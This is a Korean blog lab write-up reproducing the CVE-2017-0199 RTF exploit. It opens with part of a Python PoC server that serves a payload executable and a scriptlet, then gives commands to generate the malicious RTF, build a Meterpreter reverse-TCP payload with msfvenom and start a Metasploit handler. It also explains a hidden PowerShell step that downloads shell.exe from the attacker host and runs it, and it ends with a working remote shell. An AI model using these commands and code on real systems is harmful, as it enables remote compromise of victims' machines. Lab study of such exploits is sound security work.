            check_exe_request = url.find('.exe')
            if (check_exe_request > 0):
                print "Received request for payload from "+client_addr[0]
                try:
                    size = os.path.getsize(payloadlocation)
                except OSError:
                    print "Unable to read"+payloadlocation
                    conn.close()
                    sys.exit(1)
                data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 18:56:41 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 16:56:22 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: "+str(size)+"\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/x-msdos-program\r\n\r\n"
                with open(payloadlocation) as fin:
                    data +=fin.read()
                    conn.send(data)
                    conn.close()
                    sys.exit(1)
            if method in ['GET', 'get']:
                print "Received GET method from "+client_addr[0]
                data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 1000\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/scriptlet\r\n\r\n\r\n\r\n\r\n<registration\r\n  description='Dummy'\r\n  progid='giffile'\r\n  version='1.00'\r\n  remotable='True'>\r\n\r\n \r\n\r\n\r\n"
                conn.send(data)
                conn.close()
                sys.exit(1)
    except socket.error, ex:
        print ex


if __name__ == '__main__':
    main(sys.argv[1:])

 

 

이후 파이썬 POC 코드를 이용해 rtf 파일을 생성합니다.

python RTFtoolkit.py -M gen -t RTF -w hackme.rtf -u http://192.168.137.137/hack.doc

 

 

아래처럼 같은 폴더에 cve20170199.rtf 파일이 생깁니다.

 

이를 공격대상에 옮기고 메타스플로잇을 실행하여 이제 피해자가 실행할때까지 기다립니다.

 

윈도우 7에 옮기고

칼리에 가서 아래와 같이 작업

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.137.137 LPORT=4444 -f exe > /tmp/shell.exe

      -> 137호스트의 4444포트를 이용해 역tcp로 세션을 생성해 windows의 meterpreter를 exe파일 포맷으로 하여 /tmp/shell.exe 만든다.

 

 

이후 msfconsole 실행

msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.137.137; run"

 

그러면 아래와같이 뭔가 막 생성되며 msf 즉 메타스플로잇 실행되는거 확인가능하다.

그리고 마지막부분에 리스닝중인거 확인

 

 

이후 만들어둔 shell.exe를 poc에 접목하여 서버를 실행한다.

 

 

이후 처음 만들어둔 rtf 파일을 실행

이후 칼리에 터미널에 진입해보면

 

 

윗사진 다시 긁어오자면 152는 윈7 아이피이다.

137.152로부터 GET 메세지를 받았다고 뜬다. (80번 http이다보니 버프로 잡아보면 GET 메도우 확인가능할 것으로 예상된다.)

 

 

*트러블슈팅: 윈도우 7에 워드가 없어서 작동안하나보다.

그래서 그냥 호스트 컴퓨터인 윈도우10 워드에서 작동시켜보려한다.

 

 

이를 실행시키면 워드로 실행되고 메타스플로잇에서 확인시

현재 VM웨어의 NAT으로 GW이다보니 1로 나오는 것을 확인할 수 있다.

 

 

그런데 msf콘솔은 똑같이 아무 반응이없다..

일단 버프로 프록시 설정후 다시 확인해보도록하자

아래와 같이 워드 실행하면 /hack.doc 파일을 가져온다고한다.(문제는 hack.doc가 없는데?)

그런데 OK와 함꼐 shell.exe뭐시기가나온다.

더보기

HTTP/1.1 200 OK
Date: Sun, 16 Apr 2017 17:11:03 GMT
Server: Apache/2.4.25 (Debian)
Last-Modified: Sun, 16 Apr 2017 17:30:47 GMT
Accept-Ranges: bytes
Content-Length: 1000
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/scriptlet




  description='Dummy'
  progid='giffile'
  version='1.00'
  remotable='True'>




 

 

#트러블슈팅2

안되던 이유를 찾았다.

the value specified for payload is not valid 자꾸 신경쓰여 봤더니

reverse_tcp를 rever_tcp라고 적혀있엇다.. 역시 수작업은 조심해야한다..

 

 

리시브까지 되는데 왜 반응이 없을까...

그래서 아까 다시 리스폰스 소스를 분석해보앗다.

 

 

1. new ActiveXObject('WScript.shell')

 Shell을 실행한다.

2. exec('%SystemRoot%/system32/WindowsPowerShell/v1.0/powershell.exe

Powershell을 실행한다. (해당 경로 가보니 파워쉘 존재)

3.windowstyle hidden (new-object System.Net.WebClient)

해당 파워쉘을 히든(사용자 모르게 실행하고

4..DownloadFile(\'http://192.168.137.137/shell.exe\

쉘을 통해서 해당 137서버(칼리서버) 접속후 shell.exe를 다운로드한다.(전의 poc 코드를 보면 -l /tmp/shell.exe로 링크 걸려 있기에 이를 다운로드 하는 것으로 추측

5. \'c:/windows/temp/shell.exe\

칼리에서 만든 페이로드 악성 프로그램을 windows/temp/shell.exe에 저장한다.

6. c:/windows/temp/shell.exe

마지막으로 실행한다.

 

이 과정으로 해당 취약점을 동작시키는 것 같다. 즉 일단 파워쉘까지 있는데 지금 windows/temp에 가니 shell.exe.파일이 안보인다. 그래서 shell.exe를 넣어도 실행되지 않는다.

-> 소스에는 있는거 보니 다운받자마자 바로 그 프로그래밍을 실행하는것인가? 어쨋든 억지로 경로 넣어도 되지는 않는다. 그래서 cmd명령어로 실행해보기로 하였다.

 

 

칼리에서 페이로드 확인해보니 드디어 meterpreter가 보인다.

shell 명령어를 통해 파워쉘 접근까지 가능한 것을 확인하였다.

 

ipconfig로 확인해보아도 지금 현재 아이피 정확하게 찍힌다.

 

 

#여담

분명 shell스크립트는 잘못되지 않았다. 이 스크립트를 실행하면 되기에

그리고 리스폰스만 보아도 분명 원하는데로 넘어갔는데 문제는 호스트에서 실행되지 않는것으로 예상된다.

일단 처음에 워드 버전 문제인가 했는데(최신버전 패치로?) 그렇다기에는 다른 곳에서 실험했던

window7에서도 안되었기에 지금 페이로드 작성시 만들어진 코드에 문제가 잇는거 같다.

 

다은 #2에서 poc코드 뜯어서 확인해보아야겠다.

(잠깐? #2가 있다고? 지금 분석해야할 것이 좀더 있을텐데 ...)

 

 

반응형